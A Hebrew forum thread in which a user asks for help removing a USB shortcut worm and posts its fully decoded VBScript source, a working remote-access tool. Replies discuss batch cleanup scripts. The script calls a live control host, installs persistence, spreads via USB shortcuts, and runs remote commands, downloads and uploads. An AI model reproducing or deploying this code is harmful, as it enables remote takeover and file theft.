דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
24 פוסטים 7 כותבים 183 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • ר רנדומלי

    @מענין-לשמוע
    כלומר?
    אז איך הצלחת להגיב? ואיך לאיסט יש גישה לדפדפן שלך?

    מ מנותק
    מ מנותק
    מענין לשמוע
    כתב נערך לאחרונה על ידי
    #4

    @רנדומלי
    כיביתי אותו.
    באיסט יש גם הגנת אינטרנט.
    פשוט הודעה אדומה על כל המסך - דף זה נחסם וכו'...

    תגובה 1 תגובה אחרונה
    0
    • בנימין מחשביםב מנותק
      בנימין מחשביםב מנותק
      בנימין מחשבים
      כתב נערך לאחרונה על ידי בנימין מחשבים
      #5

      @cfopuser @מתכנת-חובב @מישהו12 (kingyos לא מעז לתייג) וכל חובבי הווירוסים
      עריכה - אין כמו ביה"ז! רק תייגתי וכולכם מגיעים בשורה לעזור.. שאפו!! 🤩

      תגובה 1 תגובה אחרונה
      1
      • מישהו12מ מחובר
        מישהו12מ מחובר
        מישהו12
        מדריכים
        כתב נערך לאחרונה על ידי
        #6

        אם אני מבין נכון....

        https://mitmachim.top/topic/77/מחיקת-וירוס-קיצורי-הדרך-אחת-ולתמיד

        הבלוג שלי
        https://aiv-dev.com/he-IL/

        תגובה 1 תגובה אחרונה
        1
        • ר רנדומלי

          בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

          cmd /c hrxxryydxo.vbs && start explorer [file name]
          

          הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

          לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

          תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

          לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

          z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
          

          בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
          לאחר פיענוח הקידוד התקבל הקוד הבא:
          אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

          e
          '<[ recoder : houdini (c) skype : houdini-fx ]>
          
          '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
          
          host = "khattab.no-ip.biz"
          port = 5550
          installdir = "%temp%"
          lnkfile = true
          lnkfolder = true
          
          '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
          
          dim shellobj 
          set shellobj = wscript.createobject("wscript.shell")
          dim filesystemobj
          set filesystemobj = createobject("scripting.filesystemobject")
          dim httpobj
          set httpobj = createobject("msxml2.xmlhttp")
          
          '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
          
          installname = wscript.scriptname
          startup = shellobj.specialfolders ("startup") & "\"
          installdir = shellobj.expandenvironmentstrings(installdir) & "\"
          if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
          spliter = "<" & "|" & ">"
          sleep = 5000 
          dim response
          dim cmd
          dim param
          info = ""
          usbspreading = ""
          startdate = ""
          dim oneonce
          
          '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
          on error resume next
          
          instance
          while true
          
          install
          
          response = ""
          response = post ("is-ready","")
          cmd = split (response,spliter)
          select case cmd (0)
          case "excecute"
                param = cmd (1)
                execute param
          case "update"
                param = cmd (1)
                oneonce.close
                set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                oneonce.write param
                oneonce.close
                shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                wscript.quit 
          case "uninstall"
                uninstall
          case "send"
                download cmd (1),cmd (2)
          case "site-send"
                sitedownloader cmd (1),cmd (2)
          case "recv"
                param = cmd (1)
                upload (param)
          case  "enum-driver"
                post "is-enum-driver",enumdriver  
          case  "enum-faf"
                param = cmd (1)
                post "is-enum-faf",enumfaf (param)
          case  "enum-process"
                post "is-enum-process",enumprocess   
          case  "cmd-shell"
                param = cmd (1)
                post "is-cmd-shell",cmdshell (param)  
          case  "delete"
                param = cmd (1)
                deletefaf (param) 
          case  "exit-process"
                param = cmd (1)
                exitprocess (param) 
          case  "sleep"
                param = cmd (1)
                sleep = eval (param)        
          end select
          
          wscript.sleep sleep
          
          wend
          
          sub install
          on error resume next
          dim lnkobj
          dim filename
          dim foldername
          dim fileicon
          dim foldericon
          
          upstart
          for each drive in filesystemobj.drives
          
          if  drive.isready = true then
          if  drive.freespace  > 0 then
          if  drive.drivetype  = 1 then
              filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
              if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                  filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
              end if
              for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                  if not lnkfile then exit for
                  if  instr (file.name,".") then
                      if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                          file.attributes = 2+4
                          if  ucase (file.name) <> ucase (installname) then
                              filename = split(file.name,".")
                              set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                              lnkobj.windowstyle = 7
                              lnkobj.targetpath = "cmd.exe"
                              lnkobj.workingdirectory = ""
                              lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                              fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                              if  instr (fileicon,",") = 0 then
                                  lnkobj.iconlocation = file.path
                              else 
                                  lnkobj.iconlocation = fileicon
                              end if
                              lnkobj.save()
                          end if
                      end if
                  end if
              next
              for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                  if not lnkfolder then exit for
                  folder.attributes = 2+4
                  foldername = folder.name
                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                  lnkobj.windowstyle = 7
                  lnkobj.targetpath = "cmd.exe"
                  lnkobj.workingdirectory = ""
                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                  foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                  if  instr (foldericon,",") = 0 then
                      lnkobj.iconlocation = folder.path
                  else 
                      lnkobj.iconlocation = foldericon
                  end if
                  lnkobj.save()
              next
          end If
          end If
          end if
          next
          err.clear
          end sub
          
          sub uninstall
          on error resume next
          dim filename
          dim foldername
          
          shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
          shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
          filesystemobj.deletefile startup & installname ,true
          filesystemobj.deletefile wscript.scriptfullname ,true
          
          for  each drive in filesystemobj.drives
          if  drive.isready = true then
          if  drive.freespace  > 0 then
          if  drive.drivetype  = 1 then
              for  each file in filesystemobj.getfolder ( drive.path & "\").files
                   on error resume next
                   if  instr (file.name,".") then
                       if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                           file.attributes = 0
                           if  ucase (file.name) <> ucase (installname) then
                               filename = split(file.name,".")
                               filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                           else
                               filesystemobj.deletefile (drive.path & "\" & file.name)
                           end If
                       else
                           filesystemobj.deletefile (file.path) 
                       end if
                   end if
               next
               for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                   folder.attributes = 0
               next
          end if
          end if
          end if
          next
          wscript.quit
          end sub
          
          function post (cmd ,param)
          
          post = param
          httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
          httpobj.setrequestheader "user-agent:",information
          httpobj.send param
          post = httpobj.responsetext
          end function
          
          function information
          on error resume next
          if  inf = "" then
              inf = hwid & spliter 
              inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
              inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
          
              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set os = root.execquery ("select * from win32_operatingsystem")
              for each osinfo in os
                 inf = inf & osinfo.caption & spliter  
                 exit for
              next
              inf = inf & "plus" & spliter
              inf = inf & security & spliter
              inf = inf & usbspreading
              information = inf  
          else
              information = inf
          end if
          end function
          
          sub upstart ()
          on error resume Next
          
          shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
          filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
          filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
          
          end sub
          
          function hwid
          on error resume next
          
          set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
          set disks = root.execquery ("select * from win32_logicaldisk")
          for each disk in disks
              if  disk.volumeserialnumber <> "" then
                  hwid = disk.volumeserialnumber
                  exit for
              end if
          next
          end function
          
          function security 
          on error resume next
          
          security = ""
          
          set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
          set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
          for each objitem in colitems
              versionstr = split (objitem.version,".")
          next
          versionstr = split (colitems.version,".")
          osversion = versionstr (0) & "."
          for  x = 1 to ubound (versionstr)
               osversion = osversion &  versionstr (i)
          next
          osversion = eval (osversion)
          if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
          
          set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
          Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
          
          for each objantivirus in colantivirus
              security  = security  & objantivirus.displayname & " ."
          next
          if security  = "" then security  = "nan-av"
          end function
          
          function instance
          on error resume next
          
          usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
          if usbspreading = "" then
             if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                usbspreading = "true - " & date
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
             else
                usbspreading = "false - " & date
                shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
          
             end if
          end If
          
          
          upstart
          set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
          set installfullnameshort =  filesystemobj.getfile (installdir & installname)
          if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
              shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
              wscript.quit 
          end If
          err.clear
          set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
          if  err.number > 0 then wscript.quit
          end function
          
          sub sitedownloader (fileurl,filename)
          
          strlink = fileurl
          strsaveto = installdir & filename
          set objhttpdownload = createobject("msxml2.xmlhttp" )
          objhttpdownload.open "get", strlink, false
          objhttpdownload.send
          
          set objfsodownload = createobject ("scripting.filesystemobject")
          if  objfsodownload.fileexists (strsaveto) then
              objfsodownload.deletefile (strsaveto)
          end if
           
          if objhttpdownload.status = 200 then
             dim  objstreamdownload
             set  objstreamdownload = createobject("adodb.stream")
             with objstreamdownload
                  .type = 1 
                  .open
                  .write objhttpdownload.responsebody
                  .savetofile strsaveto
                  .close
             end with
             set objstreamdownload = nothing
          end if
          if objfsodownload.fileexists(strsaveto) then
             shellobj.run objfsodownload.getfile (strsaveto).shortpath
          end if 
          end sub
          
          sub download (fileurl,filedir)
          
          if filedir = "" then 
             filedir = installdir
          end if
          
          strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
          set objhttpdownload = createobject("msxml2.xmlhttp")
          objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
          objhttpdownload.send ""
               
          set objfsodownload = createobject ("scripting.filesystemobject")
          if  objfsodownload.fileexists (strsaveto) then
              objfsodownload.deletefile (strsaveto)
          end if
          if  objhttpdownload.status = 200 then
              dim  objstreamdownload
              set  objstreamdownload = createobject("adodb.stream")
              with objstreamdownload 
                   .type = 1 
                   .open
                   .write objhttpdownload.responsebody
                   .savetofile strsaveto
                   .close
              end with
              set objstreamdownload  = nothing
          end if
          if objfsodownload.fileexists(strsaveto) then
             shellobj.run objfsodownload.getfile (strsaveto).shortpath
          end if 
          end sub
          
          function upload (fileurl)
          
          dim  httpobj,objstreamuploade,buffer
          set  objstreamuploade = createobject("adodb.stream")
          with objstreamuploade 
               .type = 1 
               .open
               .loadfromfile fileurl
               buffer = .read
               .close
          end with
          set objstreamdownload = nothing
          set httpobj = createobject("msxml2.xmlhttp")
          httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
          httpobj.send buffer
          end function
          
          function enumdriver ()
          
          for  each drive in filesystemobj.drives
          if   drive.isready = true then
               enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
          end if
          next
          end Function
          
          function enumfaf (enumdir)
          
          enumfaf = enumdir & spliter
          for  each folder in filesystemobj.getfolder (enumdir).subfolders
               enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
          next
          
          for  each file in filesystemobj.getfolder (enumdir).files
               enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
          
          next
          end function
          
          function enumprocess ()
          
          on error resume next
          
          set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
          set colitems = objwmiservice.execquery("select * from win32_process",,48)
          
          dim objitem
          for each objitem in colitems
              enumprocess = enumprocess & objitem.name & "|"
              enumprocess = enumprocess & objitem.processid & "|"
              enumprocess = enumprocess & objitem.executablepath & spliter
          next
          end function
          
          sub exitprocess (pid)
          on error resume next
          
          shellobj.run "taskkill /F /T /PID " & pid,7,true
          end sub
          
          sub deletefaf (url)
          on error resume next
          
          filesystemobj.deletefile url
          filesystemobj.deletefolder url
          
          end sub
          
          function cmdshell (cmd)
          
          dim httpobj,oexec,readallfromany
          
          set oexec = shellobj.exec ("%comspec% /c " & cmd)
          if not oexec.stdout.atendofstream then
             readallfromany = oexec.stdout.readall
          elseif not oexec.stderr.atendofstream then
             readallfromany = oexec.stderr.readall
          else 
             readallfromany = ""
          end if
          
          cmdshell = readallfromany
          end function
          
          cfopuserC מנותק
          cfopuserC מנותק
          cfopuser
          כתב נערך לאחרונה על ידי cfopuser
          #7

          עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

          (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
          ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
          אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

          מתכנת חובבמ תגובה 1 תגובה אחרונה
          1
          • cfopuserC cfopuser

            עריכה: הפתרון ש@מישהו12 הביא עושה עבודה יסודית ומנקה גם כוננים מחוברים,

            (אם כי הוא מצפה למצוא שמות ידועים של וירוסים,
            ואת שלך לדוג' (hrxxryydxo.vbs) הוא לא ימצא,
            אבל עדיין אמור לטפל בבעיה כי הוא מטפל בstartup).

            מתכנת חובבמ מנותק
            מתכנת חובבמ מנותק
            מתכנת חובב
            מדריכים
            כתב נערך לאחרונה על ידי מתכנת חובב
            #8

            @cfopuser הוא לא יטפל בזה
            עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
            מה- startup הוא מנקה רק את אלו

            for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
                if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
            

            כנ"ל מהרגיסטרי

            ::Clean Registry / Startup
            For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
            	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
            		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
            			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
            			)
            		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
            			reg delete %%~P /v "%%~A" /f		
            			)
            		reg query %%~P /s
            		)
            	)
            for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
            	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
            		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
            	)
            	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
            		reg delete %%~P /v "%%~A" /f
            		)
            	reg query %%~P /s
            	)
            

            וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

            ::internal drives
            for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
            	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
            		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
            		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
            		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
            		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
            		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
            		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
            		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
            		)
            	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
            		attrib -s -h -r "%%X\%%A"
            		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
            		)
            	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
            		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
            			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
            			)
            		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
            			attrib -s -h -r "%%X\%%D\%%A"
            			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
            			)
            		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
            		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
            		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
            		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
            		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
            		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
            		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
            		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
            		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
            		)
            	set "AutoHK.NAPd="
            	)
            

            המלצתי היא פשוט להריץ את התיקון הזה רק כדי לסגור את wscript (או פשוט להריץ taskkill /f /im wscript.exe משורת הפקודה כמנהל) וכדי למנוע עליה של הוירוס בהפעלה הבאה של המחשב אפשר לחפש ולמחוק אותו מהמחשב (הוא אמור להיות ב temp וב startup ויש לו גם רישומים ברגיסטרי) וכדאי גם למחוק את הכניסות עצמם - אפשר לעשות את זה עם autoruns

            צריך עזרה בשחזור מידע? ייעוץ? egozkokus1@gmail.com

            cfopuserC תגובה 1 תגובה אחרונה
            1
            • מתכנת חובבמ מתכנת חובב

              @cfopuser הוא לא יטפל בזה
              עברתי על הקוד ולא מצאתי משהו שיכול לעזור לזה ספציפית
              מה- startup הוא מנקה רק את אלו

              for %%F in ("IMG-512.wsf","WinddowsUpdater.lnk","WinddowsUpdateCheck.lnk","winddowsupdate.lnk") do (
                  if exist "%%~P\%%~F" attrib -s -h -r "%%~P\%%~F" && del "%%~P\%%~F" /f /q
              

              כנ"ל מהרגיסטרי

              ::Clean Registry / Startup
              For /f "usebackq tokens=2 delims=\" %%U in (`reg.exe query "HKU"`) do (
              	for %%P in ("HKU\%%U\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
              		for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512","BrowserUpdater","BrowserUpdate","cpuulover") do (
              			reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
              			)
              		for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
              			reg delete %%~P /v "%%~A" /f		
              			)
              		reg query %%~P /s
              		)
              	)
              for %%P in ("HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run","HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run") do (
              	for %%F in ("flaterem","strdat","WinddowsUpdater","WinddowsUpdate","img-512") do (
              		reg delete %%~P /v "%%~F" /f && if "%%~F"=="img-512" if "!stccomp!"=="" set "stccomp=1" & echo Your computer has been cleaned from the ''old shortcuts'' virus.
              	)
              	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('reg query %%~P /s ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
              		reg delete %%~P /v "%%~A" /f
              		)
              	reg query %%~P /s
              	)
              

              וכנ"ל מכוננים פנימיים (ובדומה גם לחיצוניים) - כאן יש גם בדיקה של תבנית regex ספציפית שלא תואמת לוירוס הנ"ל

              ::internal drives
              for /f "tokens=2 delims==" %%G in ('WMIC logicaldisk where "DriveType=3" get DeviceID /value 2^>NUL ^| find "="') do for /f "delims=" %%X in ("%%G") do (
              	for /f "tokens=* delims=" %%D in ('dir %%X\ /b /as') do (
              		if "%%D"=="streamer" attrib -s -h -r %%X\streamer
              		if "%%D"=="streamerdata" attrib -s -h -r %%X\streamerdata
              		if "%%D"=="WinddowsUpdater" attrib -s -h -r %%X\WinddowsUpdater
              		if "%%D"=="WinddowsUpdateCheck" attrib -s -h -r %%X\WinddowsUpdateCheck
              		if "%%D"=="BrowserUpdater" attrib -s -h -r %%X\BrowserUpdater
              		if "%%D"=="BrowserUpdateCheck" attrib -s -h -r %%X\BrowserUpdateCheck
              		if "%%D"=="IMG-512.wsf" attrib -s -h -r %%X\IMG-512.wsf & del %%X\IMG-512.wsf && echo The virus ''old shortcuts'' has been removed from drive %%X.
              		)
              	for /f "tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in ('dir c:\ /b /ad ^|findstr /xr "[a-z].........[a-z].........[a-z]"') do (
              		attrib -s -h -r "%%X\%%A"
              		rd /s /q "%%X\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
              		)
              	for /f "delims=" %%D in ('dir %%X\ /b /ad') do (
              		for %%F in ("My Downloads","My Videos","My Pictures","Downloads","Games") do (
              			if exist "%%X\%%D\%%~F.lnk" del "%%X\%%D\%%~F.lnk"
              			)
              		for /f "usebackq tokens=1* delims=1234567890ABCDEFGHIJKLMNOPQRSTUVWXYZ-_. " %%A in (`dir /b /ads "%%X\%%D\" ^|findstr /xr "[a-z].........[a-z].........[a-z]"`) do (
              			attrib -s -h -r "%%X\%%D\%%A"
              			rd /s /q "%%X\%%D\%%A" & if "!AutoHK.NAPd!"=="" (set "AutoHK.NAPd=1" & echo The virus ''AutoHK.NAP'' has been removed from drive %%X.)
              			)
              		if exist "%%X\%%D\%%D copy*.lnk" del "%%X\%%D\%%D copy*.lnk"  
              		if exist "%%X\%%D\%%D.lnk" del "%%X\%%D\%%D.lnk"
              		if exist "%%X\%%D\streamerdata" attrib -s -h -r "%%X\%%D\streamerdata" & rd "%%X\%%D\streamerdata" /s /q
              		if /i "%%D"=="streamer" rd /s /q %%X\streamer && echo The virus ''%%D'' has been removed from drive %%X.
              		if /i "%%D"=="streamerdata" rd /s /q %%X\streamerdata
              		if /i "%%D"=="WinddowsUpdater" rd /s /q %%X\WinddowsUpdater && echo The virus ''%%D'' has been removed from drive %%X.
              		if /i "%%D"=="WinddowsUpdateCheck" rd /s /q %%X\WinddowsUpdateCheck
              		if /i "%%D"=="BrowserUpdater" rd /s /q %%X\BrowserUpdater && echo The virus ''%%D'' has been removed from drive %%X.
              		if /i "%%D"=="BrowserUpdateCheck" rd /s /q %%X\BrowserUpdateCheck
              		)
              	set "AutoHK.NAPd="
              	)
              

